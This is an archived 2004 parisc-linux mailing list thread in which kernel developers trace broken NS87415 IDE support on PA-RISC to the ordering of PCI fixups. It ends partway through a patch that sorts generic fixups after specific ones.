	id 142173BDCA; Wed, 22 Sep 2004 10:38:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06957-03; Wed, 22 Sep 2004 10:37:51 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B87AA3BDD6; Wed, 22 Sep 2004 10:37:16 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8CEBA3BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Sep 2004 10:37:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05544-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Sep 2004 10:37:11 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 45C603BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Sep 2004 10:37:11 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 99F66494742; Wed, 22 Sep 2004 10:37:10 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP
	id 130D84946B4; Wed, 22 Sep 2004 10:37:10 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 03DF6298133; Wed, 22 Sep 2004 10:37:09 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06846-02; Wed, 22 Sep 2004 10:37:08 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3892A298131; Wed, 22 Sep 2004 10:37:08 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4150193600000506@mail-7-bnl.tiscali.it>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24923

On Wed, Sep 22, 2004 at 12:41:21PM +0200, Joel Soete wrote:
> Hello Grant, Bartlomiej and *,
>
> I test this patch:
> --- arch/parisc/kernel/pci.c.Orig	2004-09-22 09:47:02.000000000 +0200
> +++ arch/parisc/kernel/pci.c	2004-09-22 11:26:02.104187784 +0200
> @@ -146,6 +146,9 @@
>  	return str;
>  }
> 
> +/* Used in drivers/pci/quirks.c */
> +DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415, superio_fixup_pci);

Uhm...any clue why this works?
The same entry in drivers/parisc/superio.c should work too but it doesn't.
I'd rather fix that than just blindly moving it.

> That fix the NS87415 pb on my c2k model :)
> Can somebody check it with some c3k model?

I expect c3k also to work. I'm not going to test it.


BTW, I've prepared a patch which moves IDE knowledge
out of superio.c driver and into drivers/ide/pci/ns87415.c.
I've not submitted it yet because I haven't successfully tested it
and it still contains debug printk's.
It builds and anyone curious is welcome to look at it:
    ftp://ftp.parisc-linux.org/patches/diff-2.6.9-rc2-ns87415_suckyio_cleanup-01

Moving the DECLARE_PCI_FIXUP_HEADER() around is probably the clue
I needed to resolve this.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: a fix for NS87415 on C3K broken
Date: Wed, 22 Sep 2004 17:53:41 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <20040922165341.GN16153__40422.6405000829$1416624478$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <200409170243.06449.bzolnier@elka.pw.edu.pl>
	<4150193600000506@mail-7-bnl.tiscali.it>
	<20040922163708.GD4766@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624478 25790 80.91.229.3 (22 Nov 2014 02:47:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:58 +0000 (UTC)
Cc: linux-ide@vger.kernel.org,
 Bartlomiej Zolnierkiewicz <bzolnier@elka.pw.edu.pl>,
 parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30318 invoked by uid 65534); 22 Sep 2004 16:54:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 22 Sep 2004 18:54:39 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1EB9A3BDD6; Wed, 22 Sep 2004 10:54:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06957-08; Wed, 22 Sep 2004 10:54:05 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 04D553BDF2; Wed, 22 Sep 2004 10:53:48 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74A693BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Sep 2004 10:53:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07024-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Sep 2004 10:53:44 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3BCBA3BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Sep 2004 10:53:44 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id A8C49494742; Wed, 22 Sep 2004 10:53:43 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP
	id AE6A64946B4; Wed, 22 Sep 2004 10:53:42 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CAANB-0004Ub-GK; Wed, 22 Sep 2004 17:53:41 +0100
Content-Disposition: inline
In-Reply-To: <20040922163708.GD4766@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24924

On Wed, Sep 22, 2004 at 10:37:08AM -0600, Grant Grundler wrote:
> On Wed, Sep 22, 2004 at 12:41:21PM +0200, Joel Soete wrote:
> > --- arch/parisc/kernel/pci.c.Orig	2004-09-22 09:47:02.000000000 +0200
> > +++ arch/parisc/kernel/pci.c	2004-09-22 11:26:02.104187784 +0200
> > +/* Used in drivers/pci/quirks.c */
> > +DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415, superio_fixup_pci);
> 
> Uhm...any clue why this works?
> The same entry in drivers/parisc/superio.c should work too but it doesn't.
> I'd rather fix that than just blindly moving it.

I think I know.  The define is:

#define DECLARE_PCI_FIXUP_HEADER(vendor, device, hook) \
        static struct pci_fixup __pci_fixup_##vendor##device##hook __attribute_u
sed__   \
        __attribute__((__section__(".pci_fixup_header"))) = { \
                vendor, device, hook };

Now, that's dealt with by include/asm-generic/vmlinux.lds.h:

#define RODATA                                                          \
[...]
        /* PCI quirks */                                                \
        .pci_fixup        : AT(ADDR(.pci_fixup) - LOAD_OFFSET) {        \
                VMLINUX_SYMBOL(__start_pci_fixups_header) = .;          \
                *(.pci_fixup_header)                                    \
                VMLINUX_SYMBOL(__end_pci_fixups_header) = .;            \
                VMLINUX_SYMBOL(__start_pci_fixups_final) = .;           \
                *(.pci_fixup_final)                                     \
                VMLINUX_SYMBOL(__end_pci_fixups_final) = .;             \
        }                                                               \

which links them all together.  *However* ... maybe order is important.
There's a grotty-looking:
c03f347c d __pci_fixup_PCI_ANY_IDPCI_ANY_IDquirk_ide_bases

which may need to come after our superio quirk?  I'm just testing this theory now ...

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: a fix for NS87415 on C3K broken
Date: Wed, 22 Sep 2004 19:21:08 +0200
Lines: 81
Approved: news@gmane.org
Message-ID: <41501936000007AF__29326.7899695367$1416624479$gmane$org@mail-7-bnl.tiscali.it>
References: <20040922163708.GD4766@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624479 25792 80.91.229.3 (22 Nov 2014 02:47:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:59 +0000 (UTC)
Cc: linux-ide@vger.kernel.org,
 Bartlomiej Zolnierkiewicz <bzolnier@elka.pw.edu.pl>,
 parisc-linux@parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4500 invoked by uid 65534); 22 Sep 2004 17:22:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx011) with SMTP; 22 Sep 2004 19:22:14 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 64EEA3BDCA; Wed, 22 Sep 2004 11:21:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07392-03; Wed, 22 Sep 2004 11:21:44 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3F5A43BDD6; Wed, 22 Sep 2004 11:21:21 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C2E283BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Sep 2004 11:21:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07392-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Sep 2004 11:21:14 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 93BEC3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Sep 2004 11:21:14 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id A4A5D494742; Wed, 22 Sep 2004 11:21:11 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-7-bnl.tiscali.it (mail-7-bnl.tiscali.it [213.205.33.227])
	by palinux.hppa (Postfix) with ESMTP
	id 06ADB4946B4; Wed, 22 Sep 2004 11:21:10 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-7-bnl.tiscali.it with HTTP;
	Wed, 22 Sep 2004 19:21:08 +0200
In-Reply-To: <20040922163708.GD4766@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24925


Hello Grant,

> On Wed, Sep 22, 2004 at 12:41:21PM +0200, Joel Soete wrote:
> > Hello Grant, Bartlomiej and *,
> >
> > I test this patch:
> > --- arch/parisc/kernel/pci.c.Orig	2004-09-22 09:47:02.000000000 +0200=

> > +++ arch/parisc/kernel/pci.c	2004-09-22 11:26:02.104187784 +0200
> > @@ -146,6 +146,9 @@
> >  	return str;
> >  }
> > 
> > +/* Used in drivers/pci/quirks.c */
> > +DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415,
superio_fixup_pci);
> 
> Uhm...any clue why this works?
No more clue sorry; I just notived that boot message of 2.6.8.1-pa7:
lba version TR4.0 (0x5) found at 0xfffffffffed30000
PCI: Enabled native mode for NS87415 (pif=3D0x8f)

became with 2.6.9-rc2:
lba version TR4.0 (0x5) found at 0xfffffffffed30000
PCI: Ignoring BAR0-3 of IDE controller 0000:00:0e.0
PCI: Enabled native mode for NS87415 (pif=3D0x8f)

(so PCI: Enabled native mode for NS87415 precede by a weird 'ignoring ...=

IDE controler)

I so just try to move back the pcibios_fixups initialisation at its previ=
ous
place and the message ''ignoring ... IDE controler" disapear ?)
 
> The same entry in drivers/parisc/superio.c should work too but it doesn=
't.
> I'd rather fix that than just blindly moving it.
> 
no pb

> > That fix the NS87415 pb on my c2k model :)
> > Can somebody check it with some c3k model?
> 
> I expect c3k also to work. I'm not going to test it.
> 
> 
> BTW, I've prepared a patch which moves IDE knowledge
> out of superio.c driver and into drivers/ide/pci/ns87415.c.
> I've not submitted it yet because I haven't successfully tested it
> and it still contains debug printk's.
> It builds and anyone curious is welcome to look at it:
>     ftp://ftp.parisc-linux.org/patches/diff-2.6.9-rc2-ns87415_suckyio_c=
leanup-01
> 
I will also try it :)

> Moving the DECLARE_PCI_FIXUP_HEADER() around is probably the clue
> I needed to resolve this.
> 
I am curious to find an expalnation too.

Thanks,
    Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
.
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: a fix for NS87415 on C3K broken
Date: Wed, 22 Sep 2004 18:41:20 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20040922174120.GO16153__35571.2755154402$1416624479$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20040922163708.GD4766@colo.lackof.org>
	<41501936000007AF@mail-7-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624479 25799 80.91.229.3 (22 Nov 2014 02:47:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:59 +0000 (UTC)
Cc: linux-ide@vger.kernel.org,
 Bartlomiej Zolnierkiewicz <bzolnier@elka.pw.edu.pl>,
 parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17530 invoked by uid 65534); 22 Sep 2004 17:42:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx044) with SMTP; 22 Sep 2004 19:42:04 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E382D3BDCA; Wed, 22 Sep 2004 11:42:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07392-08; Wed, 22 Sep 2004 11:41:51 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3C29F3BDD6; Wed, 22 Sep 2004 11:41:27 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DFF603BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Sep 2004 11:41:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07392-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Sep 2004 11:41:22 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 8A4C03BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Sep 2004 11:41:22 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 08991494742; Wed, 22 Sep 2004 11:41:22 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP
	id 605694946B4; Wed, 22 Sep 2004 11:41:21 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CAB7I-0007M4-LB; Wed, 22 Sep 2004 18:41:20 +0100
Content-Disposition: inline
In-Reply-To: <41501936000007AF@mail-7-bnl.tiscali.it>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24926

On Wed, Sep 22, 2004 at 07:21:08PM +0200, Joel Soete wrote:
> > Moving the DECLARE_PCI_FIXUP_HEADER() around is probably the clue
> > I needed to resolve this.
> >
> I am curious to find an expalnation too.

Yep, that's it.  That moves it to be the first entry on the list, and
it handles the suckyio IDE cotroller before the quirk_ide_bases does.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] Sort generic PCI fixups after specific ones
Date: Wed, 22 Sep 2004 22:43:04 +0100
Lines: 100
Approved: news@gmane.org
Message-ID: <20040922214304.GS16153__26296.1775683381$1416624479$gmane$org@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624479 25801 80.91.229.3 (22 Nov 2014 02:47:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:59 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 linux-pci@atrey.karlin.mff.cuni.cz,
 parisc-linux@parisc-linux.org
To: Linus Torvalds <torvalds@osdl.org>,
 Andrew Morton <akpm@zip.com.au>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <linux-kernel-owner+deller=40gmx.de-S267893AbUIVVpG@vger.kernel.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9382 invoked by uid 65534); 22 Sep 2004 21:48:25 -0000
Original-Received: from vger.kernel.org (EHLO vger.kernel.org) (12.107.209.244)
  by mx0.gmx.net (mx037) with SMTP; 22 Sep 2004 23:48:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S267893AbUIVVpG (ORCPT <rfc822;deller@gmx.de>);
	Wed, 22 Sep 2004 17:45:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S266683AbUIVVpG
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Wed, 22 Sep 2004 17:45:06 -0400
Original-Received: from parcelfarce.linux.theplanet.co.uk ([195.92.249.252]:49078 "EHLO
	www.linux.org.uk") by vger.kernel.org with ESMTP id S267998AbUIVVnH
	(ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 22 Sep 2004 17:43:07 -0400
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CAEtE-00031r-Rk; Wed, 22 Sep 2004 22:43:04 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
X-Mailing-List: linux-kernel@vger.kernel.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24927


The recent change that allowed PCI fixups to be declared everywhere
broke IDE on PA-RISC by making the generic IDE fixup be applied before
the PA-RISC specific one.  This patch fixes that by sorting generic fixups
after the specific ones.  It also obeys the 80-column limit and reduces
the amount of grotty macro code.

I'd like to thank Joel Soete for his work tracking down the source of
this problem.

Index: linux-2.6/drivers/pci/quirks.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/pci/quirks.c,v
retrieving revision 1.16
diff -u -p -r1.16 quirks.c
--- linux-2.6/drivers/pci/quirks.c	13 Sep 2004 15:23:21 -0000	1.16
+++ linux-2.6/drivers/pci/quirks.c	22 Sep 2004 21:38:17 -0000
@@ -543,7 +543,7 @@ static void __devinit quirk_cardbus_lega
 		return;
 	pci_write_config_dword(dev, PCI_CB_LEGACY_MODE_BASE, 0);
 }
-DECLARE_PCI_FIXUP_FINAL(PCI_ANY_ID,		PCI_ANY_ID,			quirk_cardbus_legacy );
+DECLARE_PCI_FIXUP_FINAL_ALL(quirk_cardbus_legacy);
 
 /*
  * Following the PCI ordering rules is optional on the AMD762. I'm not
@@ -661,7 +661,7 @@ static void __devinit quirk_ide_bases(st
        printk(KERN_INFO "PCI: Ignoring BAR%d-%d of IDE controller %s\n",
               first_bar, last_bar, pci_name(dev));
 }
-DECLARE_PCI_FIXUP_HEADER(PCI_ANY_ID,             PCI_ANY_ID,                     quirk_ide_bases );
+DECLARE_PCI_FIXUP_HEADER_ALL(quirk_ide_bases);
 
 /*
  *	Ensure C0 rev restreaming is off. This is normally done by
Index: linux-2.6/include/asm-generic/vmlinux.lds.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-generic/vmlinux.lds.h,v
retrieving revision 1.4
diff -u -p -r1.4 vmlinux.lds.h
--- linux-2.6/include/asm-generic/vmlinux.lds.h	13 Sep 2004 15:24:02 -0000	1.4
